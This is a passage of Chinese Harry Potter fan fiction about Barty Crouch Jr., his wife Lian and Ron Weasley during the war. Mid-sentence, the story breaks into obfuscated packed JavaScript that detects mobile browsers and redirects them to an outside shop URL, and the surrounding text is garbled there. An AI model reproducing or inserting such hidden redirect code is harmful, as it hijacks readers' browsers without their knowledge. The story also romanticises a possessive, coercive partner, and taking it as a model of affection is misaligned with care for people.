他们的相遇,简直就是一场入室抢劫般的爱情,他给了她她从未得到过的偏爱,他的每个强势的瞬间都在表明:你逃不掉了,我非你不可。 她喜欢被坚定的选择,但是不配得感又让她一直回避,面对爱的时候她总会退缩会反思会抗拒,她需要他在她退后无数次还会朝她走来的坚定感,把她逼到死角让她没有逃避的余地,她才终于能确认这是爱。 她喜欢他黏糊糊的爱。 38.罗恩 丁沃斯郊区,比尔和芙蓉的小屋孤零零的屹立在悬崖之上,俯视着大海,墙壁刷成了白色,嵌满了大小不一的漂亮贝壳。 这是一个孤独而美丽的地方,无论是在花园还是屋子里,都能听到持续的潮起潮落的声音,像某个巨大的怪物沉睡时的呼吸。 莉安深深呼吸了一口咸咸的空气,广袤的星空下,海水在冲击着附近的岩石,她聆听着汹涌的海浪声,匆匆穿过花园,花圃边沿围着许多被海水冲圆了白色大石头,她停下了脚步,用魔杖轻轻敲了敲那些石头,发出清脆的响声,紧接着,门里传来一个警惕的声音。 “洛特真正的姓是什么?” “克劳奇。” 小屋的门打开了。 比尔穿着一件旅行斗篷,芙蓉围着一条白色的大围裙,两人站在门口冲她招手,莉安走进小门厅,屋里色彩淡雅,装饰漂亮,一小块海边拣的浮木在壁炉里燃烧,放出明亮的光芒。 罗恩正垂头丧气的坐在沙发上,见她出现,紧张兮兮的跳了起来,手里还紧紧的握着魔杖,一副茫然的样子。 “小罗尼!”莉安对着他张开手臂。 听到这熟悉的昵称,罗恩松了口气,立刻扑进她怀里。 “好了,没事了…”莉安拍拍他的后背,“比尔都和我说了…” “罗恩,你跟莉安回去。”比尔说着,从芙蓉手里接过了一个背包,里面装着几件他准备的衣服。 “可是这能行吗?”罗恩松开了莉安,结结巴巴的说,“我不是那个意思…我是说——” “她的房子才是最安全的,克劳奇是魔法部高官,也是食死徒,没人敢闯进他们的房子,除非神秘人亲自来。”比尔说,芙蓉在旁边点头表示赞同。 “而且我们这边也不大,她那边房间多,还有小精灵,圣诞节的时候我和比尔得去陋居给你打掩护,”芙蓉小声嘀咕着,“这可是我们婚后的第一个节日,天呐,要知道我一点儿也不喜欢塞蒂娜·沃贝克。” “那我太感谢你们了,”莉安歉疚的说,“我和巴蒂今年就没办法去陋居了,毕竟我们两个的身份…总之莫丽会理解的,亚瑟在魔法部也能时常看到我们。” 比尔点点头,罗恩把背包拿过来甩在肩上,跟着莉安离开了小屋,在幻影移形前,他回头望了望悬崖顶上辽阔的天空和宽广空寂的大海,冰冷的、咸咸的海风吹拂着他的面颊。 “放心吧。”莉安抓住了他的手臂,轻声的说。 罗恩消失进未知的空间,背包压在他的身上,身体像被撞进了一个管道中恐怖的挤压着,他捏了一下表姐的手,表姐仍然紧紧的抓着他,而后他们落到了松软的草地上,这里似乎刚下了一场雨,空气里带着泥土的清香,他差点摔在地上,一双手扶住了他。 “是不是饿了?”莉安关心的说,转头又吩咐从屋子里钻出来的闪闪,“今晚多加两只烤鸡。” “明白,女主人。”闪闪牵着她的小少爷往客厅里走,洛特一边走一边回头冲他母亲咯咯笑。 “是有点饿,但是在芙蓉面前…” “在芙蓉面前不好意思说?”莉安笑了笑,扶着罗恩进了客厅,“还是说,你对她的抵抗力还是那么低,一见到她就不会说话了?” “没有,现在已经好多了。”罗恩摘下背包,垂头丧气的躺到沙发上,从口袋里掏出邓布利多给他的熄灯器不停把玩,于是客厅的灯亮了又灭,几次下来,莉安不得不阻止了他。 “听说你之前受伤了,幻影移形导致的分体?现在怎么样?” “已经好了,”罗恩心不在焉的说,“但是我总是饿肚子,再佩戴那个东西,心情就会很差…我想发火,控制不住的发火…而且赫敏一直跟哈利在一起…” “你嫉妒了?”莉安一针见血的问。 “没有。”罗恩的声音闷闷不乐的。 “别跟我撒谎,我能看得出来,你想要赫敏无条件的偏爱你,是不是?我能理解,”莉安拍了拍他的脸颊,安抚道,“我没有父母,而你上面有五个哥哥,我很知道那种感受。” 罗恩没有说话,莉安自顾自的继续说了下去。 “比尔是老大,他本身很优秀,也没人压在他上面给他压力,所以他自信满满,他很酷,根本不在乎别人怎么评论他。” 罗恩点了点头,显然是很认同她的话。 “至于查理,虽然前面有个优秀的哥哥,但是没关系,只有一个,而且查理有个哥哥没有的优点,他会打魁地奇,并且是魁地奇队长,所以查理也不觉得压力很大。” “珀西呢,他前面有两个优秀的哥哥,他深知这一点,所以他总是很别扭,想避开这两个哥哥找一条属于他的赛道,虽然没有别的天赋,性格也古板,但是他学习很好,单论学习他说不定是最厉害的,所以毕业后他进了魔法部,他想出人头地,想证明自己一点也不比哥哥们差,所以他迫不及待的离开了让他喘不过气来的家,哪怕他的父母都很爱他,他才是被母亲偏爱的那个孩子。” “乔治和弗雷德前面有三个优秀的哥哥,但是他们的性格搞怪乐观,根本不在乎成绩,而且是双胞胎就是彼此的知己,他们两个是对方的半身,不需要说话,一个眼神就能明白对方的想法,这很大程度上能缓解很多事情,所以他们毫无压力,闹腾的孩子也更容易得到父母的关注。” “即使哥哥太多了,但金妮是韦斯莱家族几代以来唯一的女孩儿,集父母宠爱于一身,并且因为她是女孩儿,她不能用哥哥们的东西,除了二手课本,她的衣服或者宠物都是崭新的,不是旧长袍或者二手魔杖,也不是那只卑鄙的老鼠。” 罗恩听到这,发出了一声粗重的喘息,他仍然沉默不语,因为表姐说中了他心里一直隐藏的东西:自卑。 “我的小罗尼头上有五个优秀的哥哥,他的朋友是救世之星,优秀的找球手,入学以来一直在人们的话题中心,而他的女朋友是个超级学霸,一直是格兰芬多乃至霍格沃茨最聪明的女孩子,至于他,看起来有些普通,瘦高个儿,长手长脚,性格平淡,虽然有点幽默,但比起那两个古灵精怪的哥哥又显得不是那么引人注目,他最擅长巫师棋,可惜魔法界不太重视这个天赋,甚至不像魔药那样有专门的比赛可以为学校赢得荣誉,他好像各个方面都不出彩,但我想,他的性格就是他身上最可贵的东西,如果他不是这么善于安慰自己,恐怕他已经崩溃了,实际上在救世的三人组里面,他更像彼此的粘合剂,是不能缺少的一份子,赫敏性格有些尖锐,而哈利急躁倔强,如果没有他,那两个人一旦发生争吵,恐怕就像天雷勾地火一样惊天动地。” “但是我觉得他们两个相处的很好,”罗恩吭哧吭哧的说,“赫敏用铁甲咒把我们隔开了,她站在哈利那边,我问她是不是要留下,不跟我走,她说是的,她要帮助哈利。” “因为你也想帮助哈利,他是你最好的朋友,”莉安语重心长的说,“你现在觉得很别扭,我能理解,你甚至害怕他们两个才会在一起,而你是多余的那个,但显然不是那样的,赫敏是没办法和哈利在一起的,那是两个犟种。” 罗恩沉默了一瞬,突然转移话题,小声问道,“那你和克劳奇呢?弗雷德和乔治告诉我,你那时候跟比尔感情很好。” “首先,我以为他死了,所有人都知道他已经死了,我当然也想不到他还活着,第二,你妈妈是不会同意我们在一起的,韦斯莱家族并不在乎是不是纯血统,但是我的血缘和你们太近了,别说莫丽,恐怕魔法界的其他正常巫师也接受不了,我一直在考虑是分手还是不管不顾的私奔,因为亲情在我心里同样重要,我不想伤了莫丽的心。” “你是因为妈妈才妥协,随便找人嫁了吗?”罗恩问,“你刚嫁给克劳奇的时候,弗雷德和乔治这样猜测过,我还纳闷,为什么要对妈妈妥协然后随便嫁人呢?把妈妈说得像个绊脚石一样…” “当然不是,”莉安惊讶的看着他,“之前在陋居我没有说明白吗?我是真的爱着他,难道你认为我会随便违背自己的底线帮一个食死徒逃跑甚至越狱吗?我很爱他,非常非常爱他。” “难以理解…”罗恩喃喃的说。 “你的确只有一茶匙的感情,不怪赫敏那么说你,”莉安叹了口气,“估计你也理解不了赫敏为什么选择你,但感情的事很复杂,并不是一个人很优秀就能被选择,你再好好想想吧。” 罗恩显得更沮丧了,把熄灯器按得咔哒作响,客厅忽明忽暗,莉安连忙拍了拍他的手,“不想吃东西吗?我都闻到香味儿了,快去厨房洗手。” 罗恩起身,闷头往厨房走去,随后传来了哗啦哗啦的水声。 过了片刻,客厅的壁炉突然冒出了鲜绿色的火苗,一个身穿利落巫师袍的男人出现在火焰中间,像陀螺一样飞快的转个不停,几秒钟后,他跨过炉栅,手里还拿着一件风衣外套,他站在地板上掸了掸身上的炉灰,把外套递给迎上来的闪闪,然后走到墙角的婴儿车那里,抱起了一个小女孩儿。 这时,两个大一点的孩子在一个小精灵的看护下,跌跌撞撞的从楼梯上跑下来,抱住了他的腿。 “爸爸!爸爸!”他们争先恐后的叫着。 罗恩听到动静,靠在厨房门上看着他们,小巴蒂朝厨房的方向偏了偏脑袋,但是并不意外他的出现,莉安走过去,吻了吻丈夫的脸颊。 小巴蒂耐心的陪女儿玩了一会儿,又把两个儿子抱在手臂上,跟着莉安往厨房走去,罗恩已经在餐桌旁等着了。 “饿了你就先吃吧,不用等我们。”莉安示意赫洛给罗恩的盘子里装几个鸡腿,但罗恩不太习惯小精灵的服侍,自己亲自上阵,左右开弓一手一个,他恶狠狠的用牙齿撕扯着鸡肉,看来是饿坏了。 “西里斯没给你们吃饱饭吗?”小巴蒂把两个活泼的儿子安置在椅子上,又给系上围兜,这才坐下来问道。 “他可以变身去抓兔子和鱼,但是我们几个都不会做饭,”罗恩嘴里塞满了食物,含含糊糊的说,“赫敏总是把鱼烤糊,我们也没有盐,所以煮的蘑菇没有味道,我吃不下,而且…” 罗恩把鸡腿艰难的咽了下去,继续说道,“而且西里斯也被通缉了,他和哈利一样是头号不良分子,马尔福的爸爸知道他的阿尼马格斯是大黑狗,所以我们也不太敢让他冒险。” 莉安点了点头,若有所思的说,“那你现在打算——” “他们肯定已经幻影移形了,我找不到他们,”罗恩惆怅的说,“赫敏用了很多防护咒语。” “那你就先呆在这儿,”小巴蒂说,“暂时不告诉莫丽,省得她又会担心,毕竟你也没办法回陋居去。” “我就是这么和芙蓉商量的,”莉安往他的盘子里装了一些美味的炖菜,“珀西今天怎么样?” “我觉得他不太老实,好像在打什么鬼主意,”小巴蒂皱着眉头说,“他又在鬼鬼祟祟的偷看我的办公室,不知道是想窃取机密文件还是打探亚瑟的消息,但是他前两年就已经从陋居搬走了,我也不好跟他说让他回陋居去,毕竟他不知道我的真实身份,这小子我也不信任,还得再观察一阵子。” “我明天去魔法部吧?”莉安有些忧虑,她担心珀西会行差踏错,“最近形势越来越严峻了,我看不少麻种巫师逃跑了,又被搜捕队抓到,要是我——” “要是你怎么样?”小巴蒂语气淡淡,“你直接在抓捕的过程中把他们放掉?别说你会不会暴露,那些人就算被放走,搜捕队依然会到处寻找他们的行踪,把他们抓进阿兹卡班,到时候就不仅仅是关进去的问题了,拒捕者本来会被送进魔法部,但如果他们反抗,就地格杀。” “已经这样了吗?”罗恩吓了一跳。 “没错。” “搜捕队是什么?” “是一帮想靠搜捕麻种巫师和纯血统叛徒赚金子的家伙,每抓到一个巫师魔法部都有赏,”小巴蒂瞥了他一眼,解释道,“你独自一人,看上去又像上学的年龄,为什么没去学校呢?恐怕他们会把你当成麻种巫师,你一踏出这个房子,就会被他们捉进魔法部。” 罗恩嘴巴一开一合,却没有说出什么,最后又尴尬的闭上了。 “你现在是韦斯莱家生了重病的小儿子,魔法部的检查员已经去陋居核实过了,”小巴蒂慢条斯理的说,“亚瑟正被跟踪,一切行动受到监视,虽然他是纯血统,但有不可容忍的亲麻瓜倾向,并且是已知的凤凰社成员,魔法部认为头号不良分子波特很可能与他联络,因为他曾在陋居住过,这就是亚瑟目前的处境,珀西想打探的东西我猜就是这份档案。” 罗恩一瞬间有些食不知味,他吃东西的速度慢了下来。 “那莉安呢?” “她很安全,她是纯血种,克劳奇夫人,再也没有比这更安全的身份,何况现在法律执行司是我的地盘,听话的傲罗到处抓人,不听话的要么杀掉要么调走。” “杀掉?”罗恩愣愣的看着他。 “说是这么说,但是我没有杀掉他们,只是把他们支开了,或者让他们像唐克斯那样赋闲在家,逃跑的只有一个,那就是金斯莱。” “对了,我要跟你说件事,罗恩,”小巴蒂补充道,“你不要直呼黑魔王的名字,那名字被施了恶咒,一旦你叫出那个名字,保护咒就会被打破,搜捕队的人就会抓到你。” “呃,”罗恩郁闷的说,“那我总算明白了,当初我们在婚礼上逃跑了,然后在托腾汉宫路差点被罗尔抓到,是赫敏对他用了一忘皆空。” “他们就是用这个办法差点抓到了金斯莱,”小巴蒂说,“一帮食死徒堵住了他,但他奋力冲了出来,现在逃亡在外,我怀疑他在唐克斯父母的家,毕竟他的房子已经被监视了。” “那唐克斯…” “唐克斯的处境只会比金斯莱还危险,”小巴蒂打碎了罗恩的幻想,“她的母亲出自布莱克家族,本来这个家族应该为黑魔王服务的,但唐克斯的母亲嫁给了麻种巫师,这在黑魔王眼里是自甘堕落,何况唐克斯还嫁给了狼人卢平,每次食死徒开会的时候,他总会拿这件事羞辱卢修斯和贝拉,而这一代的布莱克家主西里斯更是个纯血统叛徒,这也是贝拉拼命想要杀死唐克斯和西里斯的原因。” “那卢平呢?”罗恩郁闷的问,“你们估计不知道,之前卢平来找我们,说想加入我们的队伍去冒险,西里斯问了唐克斯的情况,卢平说她怀孕了,但他居然想抛弃唐克斯去送死!他担心他的孩子会受到歧视,为他这个父亲感到羞耻,哈利骂了他,然后西里斯跟他打了一架,把他给气跑了…” “卢平回到了唐克斯身边,真心的恳求她,向她道歉,现在他们已经重新在一起了,”莉安感慨的说,“唐克斯一直跟我有通信,现在她的肚子很明显了。” “唐克斯脾气真好。”罗恩感叹道。 “她是真的很爱莱姆斯,”莉安耸耸肩,“我一直不太懂他们到底怎么产生感情的,据说是一起做任务时,唐克斯很喜欢他的坚定和温柔,但是莱姆斯一直在回避…噢…我不明白…” “噢,我不明白,我的确不明白,”小巴蒂放下叉子,怪声怪气的说,“这些喜欢回避内心真实情感的人到底是谁在喜欢?他们哪怕死了,埋在坟墓里了,那张嘴再过一个世纪都不会腐烂!” 莉安立刻心虚的低着头不说话了,一时只有刀叉和餐盘碰撞的声音。 但小巴蒂明显不打算放过她,他又说话了,并且一次比一次更阴阳怪气。 “让我猜猜…我想他们是这样认为的:既然得不到或者最终可能失去,那只要不抱期待,不投入,就不会被伤害。” “但其实他们心里一直在痛哭流涕,希望对方在一次又一次被推开时仍然不放弃,证明爱与坚定。” “这些人到底在自卑什么啊?明明他们也爱对方,却因为某些愚蠢而高尚的理由拒绝承认自己的爱。” “哼,这些人就是内心深处渴望被爱,但当有人真的爱他们时,又会拼命试探,把人推开,因为内心深处认为自己不配被爱或者不该爱对方,和这种人相处需要一遍遍证明自己真的不会离开他们。” 罗恩嗅了嗅空气,哪怕再神经大条他也察觉到了一丝异常,但他没有吱声,哪怕他感觉自己的嗓子一直不用快要失声了。 莉安的头已经快要扎进盘子里了,但小巴蒂得寸进尺的伸过来一只手,那简直就像一只贱贱的奶牛猫爪子,他紧紧的捏住了她的下颌,迫使她抬头。 “亲爱的,你来说说,为什么呢?” 莉安的嘴唇都在哆嗦着,她说不出话来,用眼神无声的祈求他不要再说了。 小巴蒂的另一只手也伸了过来,轻佻的拍了拍她的脸颊,用温柔的、叹息一般的语气轻声的说,“宝贝,你可真让我费了好大的劲儿,为了得到你,我不得不使出我所有的心计,你那可笑的骄傲和责任差点儿毁掉了一切。” 莉安垂下眼睛,睫毛抖了抖,她知道,如果不是那场雷雨,如果不是他需要避雨,他根本不会闯进她的房子,但他不知道的是,她耍了个心机——跳到楼梯扶手上,把自己伪装成一个布娃娃,这让他突然一时兴起,否则他可能永远也不会想要逗她,也永远不可能在一个晚上给她的生活带来如此大的魔力。 他是小巴蒂·克劳奇,他会让她焕然一新。 他是小巴蒂·克劳奇,他可以带她看没见过的东西。 他是小巴蒂·克劳奇,他可以带她去没去过的地方。 他是小巴蒂·克劳奇,这个星球上一个好斗的奸诈者,他侵占了她的一切,并且他的地盘还在不断壮大。 她知道单单一个夜晚不足以改变他们的生活轨迹,然而,她并不太确定或许也不想太确定,以免被证明是错的,甚至没有为以后的日子做细致的心理记录,但她知道她不会忘记关于那个夜晚的任何事,从打破房子保护咒,他的袍子,穿过客厅走到楼梯,在那里他抱起了她,然后她掀起了他的面具,又咬了他一口,他恐吓她,逼迫她说出她的名字,他安慰她,轻拍她的后背,一直到她在他胸口上过夜,第二天因为寻找伏地魔他又匆忙离开了她,那时外面天寒地冻,他很快入狱,这些年她其实一直都想问他:戴镣铐疼不疼?来,我来帮你揉揉手腕,让我亲亲你的手腕,你可怜的、受伤的、我喜欢的、抱着我的手腕。 她握住了他控制自己的手腕,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740498|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它翻来覆去的仔细观察、揉捏,像对待一件珍贵的宝物那样小心翼翼,用嘴唇轻轻的触碰、吹气,吻了又吻,然后拿过另一只如法炮制。 “疼吗?” “什么?” “想挣脱镣铐的时候。” “疼,但是好了。” 顿了顿,他又说,“刚刚好。” 1997年12月25日,圣诞节。 圣诞节的一大早,天空中飘起了纷纷扬扬的雪花,普威特祖宅所在的这片空地上像撒了一层晶莹透亮的糖霜,客厅墙角的圣诞树在闪耀,树下还放着一个婴儿车,莎莫正在里面自言自语,两个哥哥坐在她下面的地毯上,拿着麻瓜的玩具比比划划。 刚吃完一顿美味早餐的小巴蒂悠闲的躺在沙发上打开了电视机,他觉得这玩意儿可比收音机精彩多了,但是罗恩还是有些不适应,他很怀念陋居那个大木头收音机。 罗恩用魔杖敲了敲收音机,想调整到塞蒂娜·沃贝克那个电台,很快,收音机里传来了悠扬的圣诞广播。 正在这时,一个哭泣的女声响了起来。 “记得…记得罗恩吗?他的魔杖在车祸中折断后,就再也没有恢复原样,他不得不另买了一根。” “哦,好吧,那我就暂时借你的用一下吧,我去放哨。”另一个男声说。 “什么声音?”小巴蒂把电视音量调小,疑惑的对罗恩挑高了一边眉毛。 “我不知道,”罗恩面色苍白,茫然的看着他,“但是我得出来那是赫敏和哈利的声音。” “我确定是从你那里发出来的,这是‘波特瞭望站’电台吗?” (波特瞭望站,凤凰社的电台,是惟一真实报道当前发生的事的电台。) “不,我不知道‘波特瞭望站’的暗号,这是圣诞音乐电台。”罗恩瞪着他,然后从牛仔裤口袋里掏出一个银色的小东西。 “我觉得好像是这个,声音是在我口袋里发出来的。” “熄灯器?”小巴蒂惊讶的问,不过他很快就镇定下来,“噢当然,邓布利多绝对不会无的放矢,这不奇怪,毕竟斯克林杰说这玩意儿是邓布利多亲手做的,既然他给了你,那肯定有他的用意,也许它不只是能点灯熄灯。” “好像没什么异样,但我很确定那是赫敏的声音,为什么会这样…”罗恩把熄灯器举起来仔仔细细的观察,然后咔哒一声按响了熄灯器。 圣诞树上的小彩灯熄灭了,但罗恩用手指着窗外,一副吃惊的样子。 “那是什么?外面有灯?” “什么外面有灯?”莉安听到动静,匆匆的跑出厨房,“怎么了,罗恩?” 夫妻两个同时转头看窗外,但什么也没有,而罗恩的眼睛仿佛在盯着他们都看不见的东西。 “那是一个光球,好像在搏动,蓝莹莹的,就像门钥匙周围的那种光,你们知道吧?” “嗯。”小巴蒂和莉安不由自主的说。 “我想我知道了,这就是邓布利多的用意,他一定知道我想回去!”罗恩激动的看着那个只有他自己能看到的光球,“莉安,能给我拿点儿吃的吗?我想他们都饿坏了!” 莉安尽管诧异,但仍然指挥三个小精灵一起行动,往他的背包里装洗漱用品、厚衣服和易于存放的各种馅饼。 “唉,我的小罗尼,我还以为能跟你一起过圣诞呢,还特意多烤了一些脆饼干和百果馅饼,不过没关系,全都给你带上,肉类的早点吃,水果的可以暂时放一放。” 罗恩感激的点点头,他的表姐面冷心热,十分体贴,毕竟他最难捱的就是饿肚子。 小精灵们快速的帮他收拾了东西,罗恩背上背包走进了花园。 “那个小光球一直在空中等着我,它好像要带我去什么地方。”罗恩说着,踏出了保护咒的范围。 “千万注意安全呐!”莉安大声喊道。 “放心吧!”罗恩一边往前走一边说,“啊!它飘进了我的身体里!热乎乎的!我知道它的意思了!” 罗恩此时已经站在一条积雪的街道上,头上是深蓝色的苍穹,明亮的太阳已经升起来了,在闪着微光。 冰冷的空气像针扎在罗恩面颊上,他望着普威特祖宅积雪的前门、屋顶和门廊,窗户里的圣诞装饰闪闪发亮,两夫妻正在门口目送他,他挥了挥手,幻影移形消失了。 罗恩走后,莉安惆怅的叹了口气,跟着丈夫回了客厅。 “我真担心…” “不用担心,”小巴蒂把她按在沙发上,捏了捏肩膀,“这些日子他一直在发呆,我能感觉到他其实非常后悔跟波特吵架,他已经真心悔过了,他很想回去找他们,邓布利多肯定早就预料到了这一点,糟老头子坏的很,把每个人的性格都摸透了。” “那瓶凤凰的眼泪估计也是有深意的,只是我还不明白邓布利多想让我做什么,”莉安微微发怔,“也许他想让我救你?可是如果黑魔头真的发现了我们的事,他肯定直接用死咒杀了我们,凤凰的眼泪并不能起死回生呀。” “倒也不一定,”小巴蒂开了个玩笑,“他有一次打算把罗尔拿去喂纳吉尼。” “多尔芬·罗尔?” “没错,被你抓过一次,他今年夏天越狱了,就是跟丢了波特的那个食死徒,所以黑魔王很生气,想拿他喂纳吉尼,但最后只是用钻心咒惩罚了他。” “那条蛇还吃人?”莉安恶心的直皱眉。 “不然呢,麻瓜研究的布巴吉教授就是被纳吉尼吃了,”小巴蒂在她旁边坐了下来,搂住了她的肩膀,“我和斯内普都救不了她,谁让她自己作死呢?没有自保能力还敢光明正大的在报纸上发表文章,鼓励巫师和狼人通婚,在黑魔王的痛点上跳来跳去,所以那场会议就只好拿她立威了。” “好残忍…”莉安吓得瑟瑟发抖,连忙钻进他怀里,紧紧的贴着他的胸口,希望从他有力的心跳中汲取一些勇气,“你不怕吗?黑魔头这样的领袖——” “我不怕,虽然我也觉得有些过激,毕竟震慑手下的方法有很多,但他却选择了最恐怖的那种,”小巴蒂感觉到了她在发抖,连忙抚摸她的后背,安抚她的情绪,“他以前并不是这样的,我想他现在是不屑伪装了,这更证明他之前是在欺骗纯血家族,也欺骗了我。” “巴蒂,”莉安艰难的吞了吞口水,“你在他身边一定要小心警惕,不然我真的会担心,你晚回家一会儿,我都会心神不宁。” “你要相信我的能力,”小巴蒂亲了亲她因恐惧而有些泛白的面颊,“今天是圣诞,也是孩子们的生日,开心一点儿,好吗?不然我会觉得我很失败,你不愿意跟我生孩子似的。” “怎么会呢?”莉安涨红了脸,不知道是气的还是羞的,她吞吞吐吐的说,“我当然愿意…我是说…如果我想要孩子,我情愿跟你…” 小巴蒂马上意识到,这对她来说想是承认了一件非常隐私的事情,就好像他的问题把她逼到了一个角落,这个角落正是她生活的四壁,有他、她的衣服、她的壁炉、她的卧室、她的音乐、她的鞋子。 她住在这里,望着他的照片。 这是她的房子,她和墙壁之间没有任何秘密,当她和四壁独处时会跟它们说话,因为她的墙并不像巫师们所设计的那样是完全聋的,她的墙知道她是谁,而他,既是陪伴她、给她安全感的人,也是逗弄她、吓唬她,给她带来痛苦和甜蜜的折磨的人,因为之前他不知道她是什么样的人。 他不知道有个人在一天天长大,同时默默的喜欢着他。 她愿意——仿佛她终于吐露了一些他永远应该明白的事情,她被迫又承认了一次——这就是她在这里语气中略带犹豫和恼怒的原因,她的意思是:我以为你很了解我对你的感情,这从来都不是秘密,但为什么你还要问? 这一刻,这话语,这客厅的安详,这个女人,坐在地毯上的两个儿子和女儿,他心中的火,窗外的雪,深蓝色的天空,让他仿佛身处一个不同的世界,两年前的圣诞的世界,那个隆冬中有着黑湖梦幻般的广阔和那些乐此不疲缓缓流淌的浮冰。 每次当他觉得自己已经坠入深渊,世界中不再有光亮时,她就又出现了,点亮了她的灯,在他的世界中游走,她的光芒好像照进了他人生中因夺魂咒静止的十三年和阿兹卡班,此刻所有的一切不过就只有一件事最紧要:如何成为一个被爱的人。 对一些人来说,爱与被爱是与生俱来的东西,他们天生拥有,而对另一些人来说,爱是后天习得,被爱则要看运气。 “你结结巴巴的,是渴了吗?”小巴蒂盯着她的嘴唇,因为他能感觉到他的嘴唇很肿,还在发烫,但幸好它还能说话。 “可能是有一点儿…” 这是她今天对他说过的最甜蜜的话——因为这样他就可以说:你渴了,你的嘴唇甚至都干枯了,来,我来给你擦一下嘴唇,让我亲亲你的嘴唇,你娇艳的、甜蜜的、我迷恋的、燃烧的嘴唇。 他慢慢凑近了那片滴血的红唇,马上就可以甘之如饴。 “唔…” 一只手无力的抓住了他的手臂,他给了她一个吻。 一个酷烈的吻。 39.受伤 1998年3月,马尔福庄园。 黑袍男人降落在一条乡间小路上,来到锻铁大门前,大概是之前迎来了不速之客,锻铁是变形的状态,抽象的卷花图形扭曲成一张可怕的面孔,但男人没有在意,而是举起手,像烟雾一样穿过了铁门。 他匆匆走过碎石路,光线照在他身上,金色的头发在微微发着光,宽大长袍的胸口处不正常的蠕动着,又被他一把扣住。 他穿过两边挂着肖像画的门厅,客厅里的灯光使人眼花,整个房间宽敞气派,天花板上挂着水晶的枝形吊灯,深紫色的墙壁上挂着更多的肖像。 男人进门时,无视了搜捕队的狼人头领格雷伯克和三个被抓的孩子,径直站在房间中央,而另外四个站在华丽的大理石壁炉前的人面面相觑。 “你怎么来了?”贝拉特里克斯不客气的问道。 “我怎么不能来?”小巴蒂嗤笑一声,“几个鼻青脸肿的搜捕队成员向我报告,本来应该带到魔法部的人犯却被带到这儿来…格雷伯克甚至不去想着对付布莱克,而是把其他人丢在一边儿,抓着其他犯人就幻影移形了,怎么,你们迫不及待想抢功了是吗?所有的犯人应该移交魔法部!” “你监视我们!”贝拉特里克斯吼叫道。 “我监视你?”小巴蒂冷冷的说,“你有什么可让我监视的,贝拉?用你那不发达的脑子好好想一想我刚才的话,我说了是格雷伯克这组搜捕队的成员跑到魔法部通知我,他们打不过布莱克,让他逃跑了!所以只能来我的地盘搬救兵!格雷伯克,你怎么回事?” “对不起,克劳奇先生,”格雷伯克讨好的对小巴蒂说,“我们抓到了波特,所以我想把他带到这里领赏金,有二十万金加隆呢。” “赏金!”贝拉特里克斯大笑道,一只手在口袋里摸索着魔杖,“拿你的金子吧,肮脏的食腐动物,我只追求荣誉——” “波特?”小巴蒂转身面向被抓的三个人,他的目光掠过赫敏和罗恩,只淡淡瞥了一眼就落在了另一张硕大无比,亮晶晶、红通通的脸上。 这男孩儿所有的面部特征都被咒语扭曲了,黑发披到了肩膀上,嘴部周围有一片黑色阴影,除了那副眼镜,几乎没有一点哈利的影子。 小巴蒂走近了,仔仔细细的打量着他,而哈利与他目光接触,仍然显得有些警惕。 “那两个的确是韦斯莱和格兰杰,”小巴蒂用没有起伏的语调说,“但这个…用了蛰人咒,我教了他们一年,这点儿眼力还是有的。” “他是波特吧?”卢修斯吞咽了一下,紧张的声音都在发颤。 “应该是吧,怎么,白鼬认不出来吗?”小巴蒂一脸戏谑的看着自从他出现就抖个不停的德拉科。 “克劳奇!你竟敢——你竟敢这样侮辱我的儿子!”纳西莎气得脸色发白,用低沉的、恶狠狠的声音吼道。 “管好你的女人,卢修斯,”小巴蒂懒洋洋的坐到壁炉前华丽的椅子上,“不然我跟黑魔王说了什么——” 卢修斯握住了纳西莎的手,用眼神示意她先冷静一点。 “虽然我认为他是波特,不过呢,我建议你们好好审问一次,”小巴蒂扫视了一圈众人的表情,他慢条斯理的伸出手,漫不经心的玩起了自己光洁的指甲,“万一他不是呢?还记得罗尔的下场吧?黑魔王的怒火我可不想承受,如果你们现在通知他,那我立刻就走,这份‘功劳’我可不敢要。” 此时卢修正卷起自己的袖子,兴奋的准备按在黑魔标记上,听了他的话,一时举棋不定。 “他说的对,”贝拉特里克斯突然盯着格雷伯克手里的东西,用慢吞吞的声音说,“听他的。” 卢修斯摇摆了一瞬,迫切想要重新立功的他还是打算按下去。 “住手!”贝拉特里克斯尖叫道,“别碰它,如果黑魔王现在就来,我们都会死!” 卢修斯愣住了,食指悬在他的黑魔标记上方,贝拉特里克斯大步朝格雷伯克走去。 “那是什么?” “宝剑。”格雷伯克嘟囔着说。 “把它给我。” “不是你的,贝拉特里克斯,它是我的,是我发现它的,它现在归我了。” 砰的一声,伴随着一道红光,格雷伯克险险的躲开了她的昏迷咒,他怒吼起来,拔出魔杖。 “你以为你在玩什么,娘儿们?” “把它给我!”贝拉特里克斯尖叫道,又释放了几道咒语。 格雷伯克跪在地上,双臂张开,贝拉特里克斯冲向了他,从他手里抢过格兰芬多宝剑,脸色蜡白。 “你是从哪儿拿到这宝剑的?”她低声问格雷伯克,一边从他无力的手中拿走了魔杖。 “你怎么能?”他咆哮道,被迫抬头看着她,只剩下嘴能动了,他呲着尖牙说,“放开我,娘儿们!” “你们是从哪儿拿到这宝剑的?”她又问,在他面前挥了挥宝剑,“斯内普把它送到古灵阁我的金库里了呀!” “在他们的帐篷里,”格雷伯克粗声粗气的说,“放开我,听见没有!” 贝拉特里克斯一挥魔杖,狼人就跳了起来,但似乎心存戒备,不敢再靠近她了,他走到小巴蒂的扶手椅后面,用肮脏的、弯曲的指甲抓着椅背。 “克劳奇先生,您看——” “别管她,”小巴蒂懒洋洋的说,“就算在狼人的族群里,也是母狼凶恶的多。” 格雷伯克赞同的点了点头,罗恩差点笑出声,这一瞬间他把一生中所有悲伤的事想了个遍,看着哈利那张猪头脸才让身体停止了抖动。 “你竟敢这样说贝拉——”纳西莎大怒道。 “安静!情况比我想象的严重得多,西茜!我们遇到大麻烦了!”贝拉特里克斯站了起来,轻轻喘着气,她低头看着宝剑,研究着剑柄,然后转身望着默不作声的犯人们。 